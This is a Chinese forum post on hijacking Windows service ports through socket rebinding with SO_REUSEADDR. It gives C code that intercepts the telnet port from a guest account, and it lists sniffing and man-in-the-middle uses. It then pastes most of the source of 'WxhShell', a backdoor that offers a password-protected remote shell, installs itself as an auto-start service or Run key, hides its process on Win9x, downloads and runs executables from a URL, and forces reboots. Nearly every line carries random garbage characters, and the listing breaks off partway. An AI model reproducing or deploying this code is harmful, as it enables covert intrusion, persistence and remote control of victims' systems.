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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ivi,/~L  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r^j iK\*  
6Z,j^: B  
  saddr.sin_family = AF_INET; 5|pPzEA>  
%YhM?jMW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0IP5 &[-P  
HK/T`p#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *It`<F|  
AlH\IP  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b5Sgf'B^  
eX1<zzd  
  这意味着什么?意味着可以进行如下的攻击: Px$4.b[{_Y  
fz hCV  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZB|y  
F(5(cr 7K  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) P%nN#Qm  
);~JyoDo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gTby%6- \|  
S.Z2gFE&tu  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  wQnW2)9!  
LKx<hl$O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 SD=kpf;  
Js706  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [*jvvkAp  
hh$V[/iK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 M|l`2Hpe  
>0kZ-M5  
  #include Y#A0ud,  
  #include P*\h)F/3}t  
  #include H`XE5Hk)P%  
  #include    ^kElb;d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @ 7WWoy  
  int main() \]a@ NBv  
  { bV~z}V&  
  WORD wVersionRequested; MeSF,*lP  
  DWORD ret; %xH2jf  
  WSADATA wsaData; =HGC<#  
  BOOL val; js~?y|e8k  
  SOCKADDR_IN saddr; ;YYo^9Lh}  
  SOCKADDR_IN scaddr; )uJu.foE  
  int err; O`pqS\H  
  SOCKET s; ,$xV&w8f\"  
  SOCKET sc; FU~xKNr  
  int caddsize; oOj7y>Nm  
  HANDLE mt; [;E~A  
  DWORD tid;   82z\^a  
  wVersionRequested = MAKEWORD( 2, 2 ); &/}reE*  
  err = WSAStartup( wVersionRequested, &wsaData ); p}r1@L s  
  if ( err != 0 ) { +wwb+aG6{  
  printf("error!WSAStartup failed!\n"); 2y t)"DnFk  
  return -1; 7v8V0Gp  
  } ?df*Y5I2  
  saddr.sin_family = AF_INET; G';yb^DB  
   X5V8w4NN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 X:c k  
5R?[My  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2(<2Gnpl  
  saddr.sin_port = htons(23); )nI}KQJ<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W>*9T?  
  { YH 5jvvOI  
  printf("error!socket failed!\n"); cKbjW  
  return -1; X/8CvY#n  
  } oQ=v:P]  
  val = TRUE; _$oN"pj  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l4:5(1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) v*&WxP^Gm  
  { {[<o)k.A  
  printf("error!setsockopt failed!\n"); a fOix"  
  return -1; :nYnTo`  
  } ?$>#FKrt  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >3v j<v}m  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pel{ ;r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >Fzs%]M  
C }= *%S  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q3CcXYY  
  { ecZT|X4u  
  ret=GetLastError(); HoTg7/iK  
  printf("error!bind failed!\n"); ? _>L<Y  
  return -1; |v'_Co0ki  
  } VN5UJ!$?J  
  listen(s,2); p,)~w1|  
  while(1) Ep.Q&(D >  
  { ~eVq Fc  
  caddsize = sizeof(scaddr); Ui^~A  
  //接受连接请求 zn=Ifz)#|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); l[_ y|W5  
  if(sc!=INVALID_SOCKET) a&?SRC'x  
  { vzr?#FG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Vg>\@ C .s  
  if(mt==NULL) !sJ*0  
  { ;g:!WXd  
  printf("Thread Creat Failed!\n"); Q"@x,8xW  
  break; _ yu d  
  } sghQ!ux  
  } 3\!DsPgW  
  CloseHandle(mt); C'_^DPzj  
  } V\!6K  
  closesocket(s); qt.G_fOz  
  WSACleanup(); NQFMExg,  
  return 0; n.323tNY  
  }   %YH+=b:uW  
  DWORD WINAPI ClientThread(LPVOID lpParam) nz?jNdyz  
  { 8n[6BF);  
  SOCKET ss = (SOCKET)lpParam; 'pa>;{  
  SOCKET sc; EGY'a*]cU  
  unsigned char buf[4096]; G~ldU: ?  
  SOCKADDR_IN saddr; @lYm2l^  
  long num; h8ikM&fl  
  DWORD val; Y%i=u:}fm  
  DWORD ret; ;`{PA !>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2$fFl,v!z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   &J <km  
  saddr.sin_family = AF_INET; C,;hNg[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]z%X%wL  
  saddr.sin_port = htons(23); 5Dhpcgq<<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {D6E@a  
  { kwcH$w<I  
  printf("error!socket failed!\n"); "\n,vNk  
  return -1; 0c$0<2D%  
  } 0Bo7EV  
  val = 100; n{b(~eL?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;j#(%U]Vp  
  { _0v+g1x  
  ret = GetLastError(); w[WyT`6h!  
  return -1; 6<uJ}3  
  } 8@}R_GZc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +# 38  
  { tm"9`   
  ret = GetLastError(); {x-iBg9#l2  
  return -1; D)]U+Qk  
  } a/n KKhXaM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TSl:a &  
  { L,m'/}$  
  printf("error!socket connect failed!\n"); :3uCW1  
  closesocket(sc); hJkSk;^  
  closesocket(ss); J0 [^hH  
  return -1; "5 /i  
  } iq25|{1$  
  while(1) &V.\Svm8]  
  { .[@TC@W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }k`-n32)|  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *tWZ.I<<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y`O"+Jr  
  num = recv(ss,buf,4096,0); fku\O<1  
  if(num>0) HP$GI  
  send(sc,buf,num,0); pBd_Ba N  
  else if(num==0) d>RoH]K4  
  break; ^-*q  
  num = recv(sc,buf,4096,0); l@h|os  
  if(num>0) MM+xm{4l  
  send(ss,buf,num,0); &gDwsW  
  else if(num==0) Ew&pwsQ  
  break; $,mljJSQv  
  } GH6HdZ  
  closesocket(ss); 4;rt|X77  
  closesocket(sc); JTw< 4]  
  return 0 ; vM.Y/,7S  
  } \1[=t+/  
i42M.M6D$  
vxey $Ir  
========================================================== ^AI5SjOUx  
];3]/b)&  
下边附上一个代码,,WXhSHELL 56|o6-a^  
#|ppW fZQ  
========================================================== <l:c O$ m  
(O&R-5m  
#include "stdafx.h" s>RtCw3,  
^:Mal[IR  
#include <stdio.h> K4r"Q*h  
#include <string.h> JGJy_.C  
#include <windows.h> ?4[IIX-  
#include <winsock2.h> k\ 2.\Lwb  
#include <winsvc.h> )\k({S  
#include <urlmon.h> ;fdROI  
!LG 5q/}&  
#pragma comment (lib, "Ws2_32.lib") l/wdu(  
#pragma comment (lib, "urlmon.lib") &n}eF-  
cl`!A2F1G#  
#define MAX_USER   100 // 最大客户端连接数 ;Sc}e/WJj  
#define BUF_SOCK   200 // sock buffer by:"aDGK.  
#define KEY_BUFF   255 // 输入 buffer zZhAH('fG  
xT]|78h$   
#define REBOOT     0   // 重启 Pl>BTo>p'  
#define SHUTDOWN   1   // 关机 dN8@ 0AMSf  
LU=<? "N6  
#define DEF_PORT   5000 // 监听端口 *hk8[  
d,hKy2  
#define REG_LEN     16   // 注册表键长度 [i9.#*  
#define SVC_LEN     80   // NT服务名长度 J&B>"s,  
_3pME9l  
// 从dll定义API l{2Y[&%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RF#S=X6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2b[R^O}   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7,.3'cCL^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); e"){B  
B@8M2Pl  
// wxhshell配置信息 %u)niY-g  
struct WSCFG { wWaJ%z>3y  
  int ws_port;         // 监听端口 K [.*8  
  char ws_passstr[REG_LEN]; // 口令 o>#ue<Bc6  
  int ws_autoins;       // 安装标记, 1=yes 0=no "B$r{ vG  
  char ws_regname[REG_LEN]; // 注册表键名 =vpXYj  
  char ws_svcname[REG_LEN]; // 服务名 d'x'hp%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]"*sp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (>LJv |wn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 oZ /z{`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /^2&@P7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wT taj08D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A#&,S4Wi|  
h&k*i  
}; Dh4 EP/=z  
'X$J+s}6&  
// default Wxhshell configuration si!jB%^  
struct WSCFG wscfg={DEF_PORT, Qw,{"J  
    "xuhuanlingzhe", mZ[tB/  
    1, 0tFR. sS?  
    "Wxhshell", jQV.U~25Q  
    "Wxhshell", < s>y{ e  
            "WxhShell Service", cl'#nLPz;  
    "Wrsky Windows CmdShell Service", k;fy8  
    "Please Input Your Password: ", ~+HZQv3Y  
  1, 5C G ,l  
  "http://www.wrsky.com/wxhshell.exe", ~vL`[JiK  
  "Wxhshell.exe" 3SeM:OYq]s  
    }; dw"Tv ~  
I?z*.yA*  
// 消息定义模块 GY3g`M   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZQVr]/W^r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o)M=; !  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /`2t$71)  
char *msg_ws_ext="\n\rExit."; g.V{CJ*V  
char *msg_ws_end="\n\rQuit."; TA~FP#.  
char *msg_ws_boot="\n\rReboot..."; .*x |TPv{  
char *msg_ws_poff="\n\rShutdown..."; (Cc!Iw'0M  
char *msg_ws_down="\n\rSave to "; `1hM3N.nO  
nXg:lCI-uu  
char *msg_ws_err="\n\rErr!"; @ uF$m/g  
char *msg_ws_ok="\n\rOK!"; x+%(z8wD  
l)d(N7HME  
char ExeFile[MAX_PATH]; x =7qC#+)  
int nUser = 0; W pdn^=dhL  
HANDLE handles[MAX_USER]; 1B5 ]1&M  
int OsIsNt; zG|#__=T  
#cF ?a5  
SERVICE_STATUS       serviceStatus; x,+2k6Wn!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )M: pg%  
zDD1EycH  
// 函数声明 SXJ]()L?[v  
int Install(void); (c'kZ9&  
int Uninstall(void); .O1Kwu  
int DownloadFile(char *sURL, SOCKET wsh); kgQyG[u  
int Boot(int flag); M In6p  
void HideProc(void); aOOkC&%  
int GetOsVer(void); mT3'kUZ}]  
int Wxhshell(SOCKET wsl); z+=wql*Eo  
void TalkWithClient(void *cs); #K4lnC2qz  
int CmdShell(SOCKET sock); >}p'E9J?r  
int StartFromService(void); jW!x!8=  
int StartWxhshell(LPSTR lpCmdLine); 5RUhrE   
u~-,kF@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c[6=&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 50?5xSEM0_  
Pi!3wy  
// 数据结构和表定义 $Rd]e C  
SERVICE_TABLE_ENTRY DispatchTable[] = zg[.Pws:E  
{ XSv)=]{  
{wscfg.ws_svcname, NTServiceMain}, jW< aAd  
{NULL, NULL} ?!{nNJ  
}; w%NT 0J  
mD]^a;U[X  
// 自我安装 8euh]+  
int Install(void) Z4ZR]eD  
{ _ l$1@  
  char svExeFile[MAX_PATH]; pn._u`xMV  
  HKEY key; Fb^Ae6/i  
  strcpy(svExeFile,ExeFile); $YPQi.  
x392uS$#  
// 如果是win9x系统,修改注册表设为自启动 <:YD.zAh|  
if(!OsIsNt) { G^6\OOSy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D$vP&7pOr4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fN-y8  
  RegCloseKey(key); XVRtfo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AgU 7U/yk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -|/kg7IO\  
  RegCloseKey(key); % njcWVP;  
  return 0; "{X_[  
    } n?EL\B   
  } @XSxoUF\  
} ]ICBNJ  
else { 4hLv"R.  
"KhVS  
// 如果是NT以上系统,安装为系统服务 c8=@ s#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =I6u*$9<  
if (schSCManager!=0) i4p2]Nr t  
{ M9J^;3Lrh  
  SC_HANDLE schService = CreateService >.}ewz&9o  
  ( ja Ot"iU.B  
  schSCManager, $(PWN6{\r^  
  wscfg.ws_svcname, d$O)k+j  
  wscfg.ws_svcdisp, <M,A:u\qSQ  
  SERVICE_ALL_ACCESS, $At,D.mGkb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }aJK^>^>A  
  SERVICE_AUTO_START, xdV $dDCT  
  SERVICE_ERROR_NORMAL, WER\04%D\m  
  svExeFile, f[;l7  
  NULL, ]di9dLT  
  NULL, \~{b;$N}  
  NULL, wRLj>nc  
  NULL, Hrd z1:#6,  
  NULL mm@)uV<\  
  ); zr1,A#BV  
  if (schService!=0) I8]q~Q<-P  
  { P-*=e8z{  
  CloseServiceHandle(schService); YYiT,Xp<A  
  CloseServiceHandle(schSCManager); P:3%#d~q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ="Edt+a)t  
  strcat(svExeFile,wscfg.ws_svcname); |AS`MsbI9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `J}-U\4F{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w*3DIVlxL  
  RegCloseKey(key); ?->&)oAh  
  return 0; VdfV5"  
    } 5%Xny8 ]|D  
  } (qky&}H  
  CloseServiceHandle(schSCManager); r!,/~~m T  
} (9X>E+0E  
} `;OEdeAM  
Wt8=j1>  
return 1; ~ ""?:  
} R/UL4R,)^  
c{SD=wRt,y  
// 自我卸载 b#2$Pd:(  
int Uninstall(void) Db5y";T  
{ G'\x9%  
  HKEY key; ?t{ 2y1  
nOE 1bf^l  
if(!OsIsNt) { kpU-//lk+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kl90w  
  RegDeleteValue(key,wscfg.ws_regname); 5 Y|(i1  
  RegCloseKey(key); ^^m3 11=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k"V@9q;*  
  RegDeleteValue(key,wscfg.ws_regname);  #VA8a=t  
  RegCloseKey(key); 3|FZ!8D  
  return 0; z$q:Y g  
  } iOO1\9{@  
} =C[2"Y4JK0  
} Nsd7?|@HI  
else { (H*d">`mz  
y,OwO4+y\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _H (:$=$Q  
if (schSCManager!=0) ^^{gn3xJ  
{ ,svj(HP$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZGHh!Ds;  
  if (schService!=0) NL-<K  
  { !]v&/  
  if(DeleteService(schService)!=0) { NxyrP**j  
  CloseServiceHandle(schService); =%Yw;% 0)Y  
  CloseServiceHandle(schSCManager); YhzDi>hob  
  return 0; w=txSF&Qr  
  } IRxFcLk  
  CloseServiceHandle(schService); 1Z+\>~8  
  } =rrbS8To=  
  CloseServiceHandle(schSCManager); fcC?1M[BP~  
} >[U.P)7;  
} *k7vm%#ns  
;J)8#|  
return 1; 7rdPA9  
} mAFVjSa2  
|4XR [eX  
// 从指定url下载文件 /h!Y/\kI  
int DownloadFile(char *sURL, SOCKET wsh) "V:24\vO  
{ <f'2dT@6  
  HRESULT hr; M-B-  
char seps[]= "/"; Yiq8 >|  
char *token; {m&8Viq1  
char *file; I9 R\)3"  
char myURL[MAX_PATH]; _%`<V!RT\  
char myFILE[MAX_PATH]; o=,q4;R'  
5>e3srKu  
strcpy(myURL,sURL); Dn#GoDMJ[  
  token=strtok(myURL,seps); Fk 5;  
  while(token!=NULL) U/|H%b  
  { u7Xr!d+wR  
    file=token; #78P_{#!  
  token=strtok(NULL,seps); mN9Uyz5G  
  } 7JedS  
m#(tBfH[  
GetCurrentDirectory(MAX_PATH,myFILE); (M5{y` Kk  
strcat(myFILE, "\\"); N` DLIv8i;  
strcat(myFILE, file); ;8G( l   
  send(wsh,myFILE,strlen(myFILE),0); LD~s@}yH>  
send(wsh,"...",3,0); XgfaTX*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O;ty k_yM  
  if(hr==S_OK) FZEK-]h.  
return 0; Zy -&g:  
else ZL-YoMHc+_  
return 1; PKx ewd  
SseMTw:  
} &y}nd 7o  
g8_C|lVZi  
// 系统电源模块 E[FRx1^R9  
int Boot(int flag) LE|*Je3a  
{ a s{^~8B  
  HANDLE hToken; 1xJc[q  
  TOKEN_PRIVILEGES tkp; \I"UW1)B  
O@ GEl  
  if(OsIsNt) { ]vPa A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Au6*hv3:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4[S0~O{r  
    tkp.PrivilegeCount = 1; g36\%L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vlD!YNy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 pGND]tIi  
if(flag==REBOOT) { 2ja@NT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jQKlJi2xu  
  return 0; M# sDPT  
} Y{ho[%  
else { bHr2LhQCN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t ._PS3  
  return 0; M@>EZ  
} h9McC3  
  } ohdWEU,  
  else { 86^xq#+Uw  
if(flag==REBOOT) { fC2   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \k=.w  
  return 0; &~u=vuX  
} 7I6bZ;}d  
else { uF!3a$4]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yW$ja|^ E  
  return 0; y=H^U.  
} !*0\Yi,6  
} r 3@Q(Rb  
~ E) [!y  
return 1; K8`M~P.  
} x*~a{M,h  
3sk$B%a>Z  
// win9x进程隐藏模块 U#O 6l-xe]  
void HideProc(void) (;V=A4F-D  
{ *ay>MlcV2=  
?,J N?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Dj<]eG]  
  if ( hKernel != NULL ) iI[Z|"a21  
  { gzK"'4`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *nB fF{y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m[7i<'+S  
    FreeLibrary(hKernel); IeqJ>t:   
  } qNhQ2x\  
959i2z  
return; ) #/@Jo2F  
} |kwkikGQS  
qzVmsxBNP  
// 获取操作系统版本 w$9aTL7  
int GetOsVer(void) ) 0x* >;"o  
{ #rZk&q  
  OSVERSIONINFO winfo; Tr1#=&N0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yqF$J"=|  
  GetVersionEx(&winfo); OXC7 m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JTw'ecFev  
  return 1; zX-6]j;  
  else S8O^^jJq;  
  return 0; GfAt-huL(  
} T,72I  
~-,P1 u!  
// 客户端句柄模块 f:k3j}&  
int Wxhshell(SOCKET wsl) kU8V,5  
{ G4Zs(:a  
  SOCKET wsh; [?<"SJ,`  
  struct sockaddr_in client;  H}NW?  
  DWORD myID; C7(kV{h$d  
j:%~:  
  while(nUser<MAX_USER) @L%9NqE`O  
{ R|T_9/#)  
  int nSize=sizeof(client); Gd)@PWK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); BJ3st  
  if(wsh==INVALID_SOCKET) return 1; 29K09 0f  
D?rQQxb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R>"E Xq  
if(handles[nUser]==0) " }@QL`  
  closesocket(wsh); z.g'8#@  
else @WX]K0 $;  
  nUser++; {m9OgR5U  
  } &0O1tM*v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5Qp5JMK  
b|T}mn  
  return 0; "D7*en  
} ;p"G<n  
Z8$@}|jN  
// 关闭 socket G3P3  
void CloseIt(SOCKET wsh) H#8]Lb@@:  
{ 4A%O`&eZ  
closesocket(wsh); ,jyNV<dI  
nUser--; S]Gw}d]4  
ExitThread(0); cO2 .gQo'  
} ]Au78Yom  
f/ 9]o  
// 客户端请求句柄 h3issi+N  
void TalkWithClient(void *cs) ,cs`6Bd4  
{ i=%wZHc;  
.J3lo:  
  SOCKET wsh=(SOCKET)cs; S @\Pki+n[  
  char pwd[SVC_LEN]; yzhr"5_  
  char cmd[KEY_BUFF]; or/Y"\-!  
char chr[1]; y&\ J  
int i,j; raGov`  
xW{_c[oA  
  while (nUser < MAX_USER) { ^;B vd!  
9)sGnD;  
if(wscfg.ws_passstr) { '$~9~90?Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #;U_ L`q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5AR\'||u  
  //ZeroMemory(pwd,KEY_BUFF); 65RWaz;|  
      i=0; XpWqL9s_E  
  while(i<SVC_LEN) { VAc-RaA  
g% :Q86u  
  // 设置超时 GmN} +(  
  fd_set FdRead; |jW82L+!N%  
  struct timeval TimeOut; -san%H'  
  FD_ZERO(&FdRead); 7t\W{y  
  FD_SET(wsh,&FdRead); h\KQ{-Bl  
  TimeOut.tv_sec=8; ]%(hZZ  
  TimeOut.tv_usec=0; 6a PZW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3|RfX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Y@  
^;GJ7y&,d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ecA[  
  pwd=chr[0]; FsZF>vaV  
  if(chr[0]==0xd || chr[0]==0xa) { ^r^c MksB*  
  pwd=0; `9eE139V='  
  break; \1f$]oS  
  } .l5y !?  
  i++; _ Onsfv  
    } aYe,5dK>  
pL>Q'{7s3  
  // 如果是非法用户,关闭 socket ,;C92XY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ul OoMGg  
} +L*2 6ar6  
<FmrYwt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =-{+y(<"r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GAbX.9[V  
v')Fq[H  
while(1) { t#oY|G3O}  
`!5 ZF@Q>e  
  ZeroMemory(cmd,KEY_BUFF); !l@IG C  
YY]JjMkU  
      // 自动支持客户端 telnet标准   i NzoDmE*  
  j=0; -G]\"ZGi  
  while(j<KEY_BUFF) { O'U0Y8HN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MuYr?1<q  
  cmd[j]=chr[0]; #"%oz^~\  
  if(chr[0]==0xa || chr[0]==0xd) { `N}<lg(0#  
  cmd[j]=0; e{Pgz0sO Q  
  break; L.lmbxn  
  } V;ZyAp  
  j++; ~m y\{q  
    } gA~BhDS  
?Jm/v%0O  
  // 下载文件 ]q7\  
  if(strstr(cmd,"http://")) { K 4I ?1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {<ymL}  
  if(DownloadFile(cmd,wsh)) nX<!n\J T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~R7rIP8Wr  
  else Lie\3W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <WtX> \]l(  
  } cnC&=6=a<  
  else { iN5~@8jAzz  
cC1nC76[  
    switch(cmd[0]) { Qs8iu`'  
  5 |{0|mP  
  // 帮助 3D +>NB  
  case '?': { Ps7(4%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +w:[By"  
    break; Z<K[  
  } &G5+bUF,  
  // 安装 )7c\wAs  
  case 'i': { J6_H lt  
    if(Install()) 8vz9o <I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~d?7\:n  
    else "m0>u,HmI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S *?'y  
    break; aePhtQF  
    } R*/%+  
  // 卸载 3\|e8(bc  
  case 'r': { }k7@ X  
    if(Uninstall()) `;*%5WD%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yPn5l/pDDr  
    else u2y?WcMv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S%-L!V ,  
    break; -4Zf0r1u  
    } lMB^/-Y  
  // 显示 wxhshell 所在路径 {HNGohZt  
  case 'p': { ["Ep.7=SU  
    char svExeFile[MAX_PATH]; 6GMQgTY^  
    strcpy(svExeFile,"\n\r"); F N;X"it.  
      strcat(svExeFile,ExeFile); Erl"X}P  
        send(wsh,svExeFile,strlen(svExeFile),0);  nsij;C  
    break; i*..]!7e  
    } _ mhP:O  
  // 重启 jL^zS XQB  
  case 'b': { 6gY5v @!w  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rOE[c  
    if(Boot(REBOOT)) a"EP`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f8+($Ys  
    else { L{N9h1]  
    closesocket(wsh); KR%p*Nh+C  
    ExitThread(0); HviL4iO  
    } nYY@+%` ]z  
    break; \gki!!HQ  
    } Nj*J~&6G  
  // 关机 U: ~O^  
  case 'd': { Xgn^)+V:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5@P2Z]Q  
